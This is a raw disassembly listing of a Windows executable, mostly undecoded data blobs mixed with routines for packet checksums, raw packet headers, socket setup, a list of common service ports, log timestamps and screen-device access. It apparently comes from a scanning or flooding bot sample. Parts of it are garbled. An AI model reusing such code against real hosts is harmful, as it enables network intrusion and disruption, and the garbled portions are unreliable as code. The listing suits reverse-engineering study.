		dd 858D5020h, 0FFFFFF60h, 8146E850h, 458D0000h,	50146AE8h
		dd 5080458Dh, 8137E8h, 60858D00h, 6AFFFFFFh, 82E85034h
		dd 66FFFF6Ah, 8DF84589h, 146AD445h, 60858D50h, 50FFFFFFh
		dd 8113E8h, 0E8458D00h,	8D50146Ah, 0FFFF7485h, 1E850FFh
		dd 6A000081h, 88458D04h, 75E85053h, 83000073h, 858D44C4h
		dd 0FFFFFF60h, 0E850286Ah, 0FFFF6A3Dh, 0DE458966h, 6AD4458Dh
		dd 858D5014h, 0FFFFFF60h, 80CEE850h, 0C4830000h, 0BC458D14h
		dd 5350106Ah, 0FF60858Dh, 3C6AFFFFh, 0FC75FF50h, 0B6B815FFh
		dd 0F883004Ch, 0FF0874FFh, 0BAE90845h, 0FFFFFFFDh, 15FFFC75h
		dd 4CB6ECh, 0B5E815FFh,	8D50004Ch, 0FFFDC485h, 875FFFFh
		dd 64CC6850h, 858D0043h, 0FFFFFBC0h, 20068h, 0E5E85000h
		dd 83000076h, 9D3918C4h, 0FFFFFF58h, 8D532375h,	0FFFBC085h
		dd 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h
		dd 57ADE8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 0ED8E8h
		dd 44B5FF00h, 0E8FFFFFFh, 0FFFF7133h, 90535959h, 2CBD17E8h
		dd 0FC75FF02h, 0B6EC15FFh, 458B004Ch, 6BD23308h, 0C88B3CC0h
		dd 0F70AE8C1h, 0FFFF4CB5h, 14E9C1FFh, 858D5051h, 0FFFFFDC4h
		dd 500875FFh, 0FE44858Dh, 8D50FFFFh, 0FFFBC085h, 647C68FFh
		dd 0E8500043h, 755Ah, 391CC483h, 0FFFF589Dh, 532375FFh
		dd 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h, 50FFFFFEh
		dd 0FDC0B5FFh, 1CE8FFFFh, 83FFFF57h, 858D14C4h,	0FFFFFBC0h
		dd 0E47E850h, 0B5FF0000h, 0FFFFFF44h, 0FF70A2E8h, 535959FFh
		dd 0BC86E890h
; ---------------------------------------------------------------------------
		sub	al, 2
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A6
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414398:				; CODE XREF: ___:004143A0j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414398
		pop	edi
		cmp	eax, 1


loc_4143A6:				; CODE XREF: ___:0041438Cj
		jnz	short loc_4143B3
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_4143B3:				; CODE XREF: ___:loc_4143A6j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
dword_4143CC	dd 81EC8B55h, 394ECh, 8458B00h,	656A5756h, 8DF08B59h, 0FFFE6CBDh
					; DATA XREF: sub_401ACD+6D4Ao
		dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 737CE8h
		dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 6CB58D50h
		dd 81FFFFFEh, 194ECh, 59656A00h, 0A5F3FC8Bh, 5FE8h, 9CC48100h
		dd 50000001h, 0FC6C858Dh, 0A868FFFFh, 50004365h, 7449E8h
		dd 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh, 0FFFF560Fh
		dd 8D14C483h, 0FFFC6C85h, 3AE850FFh, 0FF00000Dh, 98E8F075h
		dd 59FFFF6Fh, 0E8905659h, 22CBB7Ch, 81EC8B55h, 0CCECh
		dd 8B565300h, 4270A835h, 57DB3300h, 0FFFC5D89h,	0FF68D6h
		dd 36A0000h, 4589026Ah,	0D415FFF0h, 89004CB6h, 0D6FFF845h
		dd 741EE850h, 0BF590000h, 578h,	6A096A57h, 41BBE801h, 59590000h
		dd 0D8458D50h, 70BAE850h, 0C4830000h, 5A0BE0Ch,	26E80000h
		dd 900227C9h, 33F0452Bh, 3E8B9D2h, 0F1F70000h, 1A0853Bh
		dd 870F0000h, 1C2h, 0EE081D39h,	5975004Ch, 8958106Ah, 8D50EC45h
		dd 50539845h, 707BE8h, 0CC48300h, 50EC458Dh, 5098458Dh
		dd 0FF0875FFh, 4CB5F815h, 0FF6800h, 16A0000h, 4150E8h
		dd 50595900h, 9E45B60Fh, 45B60F50h, 0B60F509Dh,	8D509C45h
		dd 0FFFF3485h, 0DC6868FFh, 0E8500042h, 732Eh, 0EB18C483h
		dd 34858D13h, 68FFFFFFh, 4CE7E8h, 7942E850h, 59590000h
		dd 0FF34858Dh, 0FF50FFFFh, 4CB69415h, 0F4458900h, 24A8458Bh
		dd 450C5645h, 10AC45C6h, 0FFA84589h, 4CB65415h,	45896600h
		dd 7344E8AEh, 89660000h, 458BB045h, 0B84589F4h,	19C858Bh
		dd 0C7660000h, 40B245h,	40B445C6h, 6B545C6h, 0B65D8966h
		dd 0E8BC4589h, 731Ah, 0C0458966h, 7311E8h, 45896600h, 7308E8C2h
		dd 45890000h, 7300E8C4h, 45890000h, 0CC458BC8h,	0FF502566h
		dd 500C146Ah, 18CE45C6h, 0CC458966h, 0C2458B66h, 8A458966h
		dd 89BC458Bh, 458D8C45h, 0C76650A8h, 787DD045h,	0D25D8966h
		dd 0D45D8966h, 8845C766h, 57E80002h, 66FFFFFDh,	8DB64589h
		dd 286AA845h, 0FD48E850h, 458BFFFFh, 10C483B8h,	0FF548589h
		dd 458BFFFFh, 58C68BCh,	85890000h, 0FFFFFF58h, 0FF5C9D88h
		dd 85C6FFFFh, 0FFFFFF5Dh, 0E7E89006h, 667169D0h, 0FF5E8589h
		dd 858DFFFFh, 0FFFFFF60h, 8D50146Ah, 0E850C045h, 7C98h
		dd 0FF74858Dh, 5057FFFFh, 50D8458Dh, 7C87E8h, 54858D00h
		dd 68FFFFFFh, 598h, 0FCE0E850h,	0C483FFFFh, 45896620h
		dd 8D106AD2h, 53508845h, 56A8458Dh, 0F875FF50h,	0B6B815FFh
		dd 45FF004Ch, 0FE20E9FCh, 75FFFFFFh, 0EC15FFF8h, 8B004CB6h
		dd 5E5FFC45h
; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_4146CF	db 55h			; DATA XREF: sub_401ACD+4CC0o
		dd 0EC81EC8Bh, 414h, 5608558Bh,	85B8h, 0C88B5700h, 0BD8DF28Bh
		dd 0FFFFFDECh, 214EC81h, 0A5F30000h, 0B58DC88Bh, 0FFFFFDECh
		dd 82C7FC8Bh, 210h, 1, 37E8A5F3h, 81000000h, 214C4h, 858D5000h
		dd 0FFFFFBECh, 4365DC68h, 5FE85000h, 8D000071h,	0FFFBEC85h
		dd 7AE850FFh, 0FF00000Ah, 0D8E8F075h, 83FFFF6Ch, 6A14C4h
		dd 0B8BAE890h, 8B55022Ch, 54EC81ECh, 53000002h,	0FFBB56h
		dd 53570000h, 26A036Ah,	0B6D415FFh, 0F883004Ch,	0F44589FFh
		dd 858D1A75h, 0FFFFFDACh, 4367CC68h, 0BE85000h,	59000071h
		dd 0E959FF33h, 2C9h, 6AEC4D8Dh,	0FF335104h, 5057026Ah
		dd 1EC45C7h, 0FF000000h, 4CB63415h, 0FFF88300h,	15FF0E75h
		dd 4CB5E8h, 677C6850h, 1BEB0043h, 500C458Dh, 0B69415FFh
		dd 0F883004Ch, 0FF2075FFh, 4CB5E815h, 38685000h, 8D004367h
		dd 0FFFDAC85h, 0AFE850FFh, 83000070h, 6EE90CC4h, 57000002h
		dd 0DC45C766h, 15FF0002h, 4CB654h, 0DE458966h, 500C458Dh
		dd 0CAFEE890h, 358B7169h, 4270A8h, 0FFE04589h, 0F84589D6h
		dd 500C458Dh, 0FDAC858Dh, 0C68FFFFh, 50004367h,	7069E8h
		dd 0CC48300h, 214BD39h,	20750000h, 0AC858D57h, 0FFFFFFFDh
		dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF522EE8h, 14C483FFh
		dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h
		dd 10C85h, 12E85000h, 3B00006Fh, 870F59F0h, 193h, 41CBEh
		dd 0BB05EB00h, 0FFh, 0EE083D39h, 5275004Ch, 8958106Ah
		dd 8D50F045h, 5057CC45h, 6CFBE8h, 0CC48300h, 50F0458Dh
		dd 50CC458Dh, 0FF0875FFh, 4CB5F815h, 16A5300h, 3DD4E8h
		dd 50595900h, 0D245B60Fh, 45B60F50h, 0B60F50D1h, 8D50D045h
		dd 6868AC45h, 500042DCh, 6FB5E8h, 18C48300h, 458D10EBh
		dd 0E7E868ACh, 0E850004Ch, 75CCh, 0C6565959h, 4CE9E805h
		dd 15FF4500h, 4CB654h, 0E9EAA366h, 458D004Ch, 0C76650ACh
		dd 4CE9EC05h, 66000100h, 0E9EE3D89h, 5C6004Ch, 4CE9F0h
		dd 0F105C680h, 11004CE9h, 0F23D8966h, 0FF004CE9h, 4CB69415h
		dd 0E9F4A300h, 458B004Ch, 0E9F8A3E0h, 858D004Ch, 8Ch, 3D896650h
		dd 4CEA02h, 6E30E8h, 59C08500h,	8FE81075h, 9900006Fh, 401B9h
		dd 52F9F700h, 858D0EEBh, 8Ch, 6E0FE850h, 50590000h, 0B65415FFh
		dd 0A366004Ch, 4CE9FEh,	6F65E8h, 1B99900h, 68000004h, 408h
		dd 8966F9F7h, 4CE9FC15h, 5415FF00h, 68004CB6h, 400h, 0EA00A366h
		dd 3BE8004Ch, 9900006Fh, 6852FBF7h, 4CEA04h, 6BDBE8h, 0CC48300h
		dd 6ADC458Dh, 56575010h, 4CE9E868h, 0F475FF00h,	0B6B815FFh
		dd 0F883004Ch, 0A5840FFFh, 0FF000000h, 0E890FC45h, 227C429h
		dd 33F8452Bh, 3E8B9D2h,	0F1F70000h, 858DD88Bh, 10Ch, 6D7FE850h
		dd 0D83B0000h, 74860F59h, 0FFFFFFFEh, 15FFF475h, 4CB6ECh
		dd 8DFC758Bh, 10C85h, 0F6695000h, 41Ch,	6D58E8h, 0D2335900h
		dd 0C68BC88Bh, 0F70AE8C1h, 14EEC1F1h, 75FF5650h, 0C458DFCh
		dd 66A86850h, 858D0043h, 0FFFFFDACh, 6E3CE850h,	0C4830000h
		dd 14BD3918h, 75000002h, 858D5720h, 0FFFFFDACh,	210B5FFh
		dd 8D500000h, 18C85h, 75FF5000h, 5001E808h, 0C483FFFFh
		dd 335E5F14h, 0C3C95BC0h, 56FC75FFh, 0B5E815FFh, 8D50004Ch
		dd 68500C45h, 43661Ch
		db 0EBh, 0ACh
word_414A92	dw 8B55h		; DATA XREF: sub_401ACD+6362o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 6CB4E8h
		dd 8D505900h, 0FFFE7085h, 0A6E850FFh, 5900006Ch, 0F0858D50h
		dd 50FFFFFDh, 0B69415FFh, 0E850004Ch, 147h, 500CC483h
		dd 0FBEC858Dh, 0F868FFFFh, 50004367h, 6D89E8h, 83F63300h
		dd 75390CC4h, 562075F8h, 0FBEC858Dh, 75FFFFFFh,	858D50F4h
		dd 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF4F4Fh, 8D14C483h
		dd 0FFFBEC85h, 7AE850FFh, 0FF000006h, 0D8E8F075h, 59FFFF68h
		dd 0E8905659h, 22CB4BCh
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6F
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_414C2B
; ---------------------------------------------------------------------------


loc_414B6F:				; CODE XREF: ___:00414B59j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB5FC
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CB63C
		test	eax, eax
		jnz	short loc_414BD3
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2B
; ---------------------------------------------------------------------------


loc_414BD3:				; CODE XREF: ___:00414BCCj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDE


loc_414BDA:				; CODE XREF: ___:00414BFEj
					; ___:00414C22j
		mov	eax, edi
		jmp	short loc_414C2B
; ---------------------------------------------------------------------------


loc_414BDE:				; CODE XREF: ___:00414BD8j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414C00
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BDA


loc_414C00:				; CODE XREF: ___:00414BEDj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_414BDA
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_414C2B:				; CODE XREF: ___:00414B6Aj
					; ___:00414BD1j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		db 55h
		dd 0EC81EC8Bh, 10Ch, 6A575653h,	0DB335801h, 68535350h
		dd 0FFh, 26A036Ah, 90EC4589h, 6A0DACE8h, 0EC4D8D71h, 6A51046Ah
		dd 0A3505302h, 4CEE78h,	0B63415FFh, 358B004Ch, 4270A8h
		dd 0E850D6FFh, 6C60h, 6AC03359h, 0BD8D19h, 59FFFFFFh, 0FEF49D89h
		dd 4D89FFFFh, 0F89D8984h, 89FFFFFEh, 0FFFEFC9Dh, 7485C7FFh
		dd 1FFFFFFh, 0C7000004h, 0FFFF7885h, 15FFh, 7C85C700h
		dd 16FFFFFFh, 0C7000000h, 178045h, 45C70000h, 3588h, 8C45C700h
		dd 50h,	519045C7h, 0C7000000h, 589445h,	45C70000h, 6E98h
		dd 9C45C700h, 71h, 77A045C7h, 0C7000000h, 87A445h, 45C70000h
		dd 89A8h, 0AC45C700h, 8Bh, 8FB045C7h, 0C7000000h, 1BBB445h
		dd 45C70000h, 1BDB8h, 0BC45C700h, 400h,	99C045C7h, 0C7000005h
		dd 5DCC445h, 45C70000h,	6B8C8h,	0CC45C700h, 0CEAh, 3DD045C7h
		dd 0C700000Dh, 1388D445h, 45C70000h, 1A0BD8h, 0DC45C700h
		dd 1F40h, 90E045C7h, 0F300001Fh, 0F05D89ABh, 3E445C7h
		dd 0C7000000h, 0BB8E845h, 5D890000h, 8458BFCh, 6485C766h
		dd 2FFFFFFh, 68858900h,	8BFFFFFFh, 0BC8DFC45h, 0FFFF7405h
		dd 848B66FFh, 0FFFF7405h, 15FF50FFh, 4CB654h, 6A016A53h
		dd 85896602h, 0FFFFFF66h, 0B6D415FFh, 4D8D004Ch, 0F44589E4h
		dd 648D8D51h, 6AFFFFFFh, 0E8505110h, 0FFFFFD7Eh, 8910C483h
		dd 75FFF845h, 0EC15FFF4h, 39004CB6h, 0C75F85Dh,	8BFC4D8Bh
		dd 0D848907h, 0FFFFFEF4h, 4FC4583h, 70FC7D83h, 7CBF837Ch
		dd 68004CEEh, 42D124h, 6A84E857h, 59590000h, 4589D6FFh
		dd 0F4858DF4h, 89FFFFFEh, 4589FC5Dh, 2BD6FFF8h,	0D233F445h
		dd 3E8B9h, 3BF1F700h, 45770C45h, 8BF8458Bh, 74C33B00h
		dd 68575015h, 436824h, 0F0458957h, 6A45E8h, 10C48300h
		dd 0FF681AEBh, 530000FFh, 3834E8h, 50595900h, 0B65415FFh
		dd 0B70F004Ch, 0F04589C0h, 83FC45FFh, 8304F845h, 7C1CFC7Dh
		dd 53286AA8h, 4CEE1868h, 6716E800h, 0FFBE0000h,	0C60000FFh
		dd 4CEE1805h, 68564500h, 400h, 0EE2105C6h, 0C606004Ch
		dd 4CEE1905h, 0E6E80800h, 83000037h, 0FF5014C4h, 4CB65415h
		dd 66286A00h, 4CEE1CA3h, 5415FF00h, 80004CB6h, 4CEE200Dh
		dd 1D39FF00h, 4CEE08h, 0EE1AA366h, 8966004Ch, 4CEE1E1Dh
		dd 681A7500h, 0FFFEh, 0A6E8016Ah, 59000037h, 84D8B59h
		dd 2310E0C1h, 0EBC10BCEh, 0E7E8680Bh, 15FF004Ch, 4CB694h
		dd 4CEE24A3h, 8458B00h,	400068h, 0EE28A300h, 1D88004Ch
		dd 4CEE39h, 0B65415FFh,	5356004Ch, 0EE3AA366h, 62E8004Ch
		dd 8B000037h, 0C15356F8h, 56E808E7h, 83000037h,	0F80310C4h
		dd 5015FF57h, 0A3004CB6h, 4CEE30h, 4CEE38A0h, 87D8B00h
		dd 500C0F24h, 38A2146Ah, 66004CEEh, 89F0458Bh, 4CEE341Dh
		dd 1D896600h, 4CEE3Eh, 0EE2EA366h, 3D89004Ch, 4CEE54h
		dd 0EE581D88h, 5C6004Ch, 4CEE59h, 5415FF06h, 66004CB6h
		dd 4CEE5AA3h, 2EA16600h, 66004CEEh, 0EE4005C7h,	2004Ch
		dd 0EE443D89h, 0A366004Ch, 4CEE42h, 0EBFC5D89h,	0FFFFBE05h
		dd 5D390000h, 562F75FCh, 36CBE853h, 59590000h, 5415FF50h
		dd 66004CB6h, 4CEE2CA3h, 0EE24A100h, 50A3004Ch,	0C6004CEEh
		dd 4CEE3905h, 1D890200h, 4CEE34h, 53561FEBh, 0EE3905C6h
		dd 0E810004Ch, 3695h, 0FF505959h, 4CB65415h, 0C0B70F00h
		dd 4CEE34A3h, 5FF6600h,	4CEE1Ch, 0EE3005FFh, 0A166004Ch
		dd 4CEE2Eh, 0BE59056Ah,	4CEE2Ch, 4CEE5CBFh, 1D896600h
		dd 4CEE22h, 3C1D8966h, 6A004CEEh, 0BEA5F314h, 4CEE18h
		dd 0EE42A366h, 0E856004Ch, 0FFFF5C25h, 5068206Ah, 66004CEEh
		dd 4CEE22A3h, 5C13E800h, 0C483FFFFh, 3CA36610h,	6A004CEEh
		dd 0EE406810h, 6A53004Ch, 35FF5628h, 4CEE78h, 0B6B815FFh
		dd 45FF004Ch, 0FC7D81FCh, 3FFh,	0FF238C0Fh, 0E890FFFFh
		dd 227BD7Dh, 33F4452Bh,	3E8B9D2h, 0F1F70000h, 770C453Bh
		dd 1075FF0Eh, 0B5A0E890h, 0C2E90226h, 5FFFFFFDh, 0EE7CB85Eh
		dd 0C95B004Ch
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B5	proc near		; CODE XREF: sub_401ACD+7200p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D810
		mov	edi, 0B8h


loc_4150C9:				; CODE XREF: sub_4150B5+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EC
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E390
		jl	short loc_4150C9
		jmp	short loc_41512E
; ---------------------------------------------------------------------------


loc_4150EC:				; CODE XREF: sub_4150B5+17j
					; sub_4150B5+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D810[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D828[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_4294D0
		pop	ebx


loc_41512E:				; CODE XREF: sub_4150B5+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415135	proc near		; CODE XREF: sub_401ACD+28DEp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436840
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D810


loc_41515F:				; CODE XREF: sub_415135+72j
		cmp	byte ptr [esi],	0
		jz	short loc_41519A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_43682C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 2Ch


loc_41519A:				; CODE XREF: sub_415135+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E390
		jl	short loc_41515F
		pop	edi
		pop	esi
		leave
		retn
sub_415135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AD	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 2770120h
		mov	ebx, offset dword_4D327C
		mov	edi, 80h
		mov	esi, offset dword_4CF27C


loc_4151CF:				; CODE XREF: sub_4151AD+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4151E6:				; CODE XREF: sub_4151AD+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CF
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415221	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AD
		add	esp, 14h
		leave
		retn
sub_415221	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524D	proc near		; CODE XREF: sub_401ACD+27D5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF27C
		xor	ecx, ecx


loc_415254:				; CODE XREF: sub_41524D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D327C
		jl	short loc_415254
		cmp	[esp+arg_C], ecx
		jnz	short loc_415282
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_43688C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_415282:				; CODE XREF: sub_41524D+19j
		push	offset dword_436878
		call	sub_4151AD
		pop	ecx
		retn
sub_41524D	endp

; ---------------------------------------------------------------------------
word_41528E	dw 8B55h		; DATA XREF: sub_401ACD+2888o
		dd 1CEC81ECh, 8B000003h, 57560845h, 8B59456Ah, 0E4BD8DF0h
		dd 6AFFFFFEh, 33A5F301h, 55395FD2h, 0F845C7F0h,	80h, 89FC5589h
		dd 110B8h, 521E7500h, 0FEE8858Dh, 75FFFFFFh, 68BC68ECh
		dd 0FF500043h, 0FFFEE4B5h, 4795E8FFh, 0C483FFFFh, 68BD8014h
		dd 0FFFFFFh, 858D1774h,	0FFFFFF68h, 6483E850h, 0C0850000h
		dd 0FC458959h, 45890374h, 86583F8h, 0F27CBE00h
		db 4Ch,	0
; ---------------------------------------------------------------------------


loc_41530A:				; CODE XREF: ___:00415362j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415364
		cmp	byte ptr [esi],	0
		jz	short loc_415353
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415339
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415339
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418087
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415353


loc_415339:				; CODE XREF: ___:0041531Ej
					; ___:00415324j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A73
		add	esp, 14h


loc_415353:				; CODE XREF: ___:00415315j
					; ___:00415337j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D327C
		jl	short loc_41530A


loc_415364:				; CODE XREF: ___:00415310j
		lea	eax, [ebp-31Ch]
		push	offset dword_4368A0
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539E
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A73
		add	esp, 14h


loc_41539E:				; CODE XREF: ___:0041537Cj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AD
		push	dword ptr [ebp-18h]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
; ---------------------------------------------------------------------------
		db 0E8h, 46h, 0ACh
; ---------------------------------------------------------------------------
		sub	al, 2
		nop
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BD	proc near		; CODE XREF: sub_401ACD+7350p

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CB640
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F1
		push	8
		push	edi
		call	dword_4CB65C
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CB65C
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CB65C
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541F
		push	18h
		push	edi
		call	dword_4CB65C
		mov	ebx, 100h
		jmp	short loc_415421
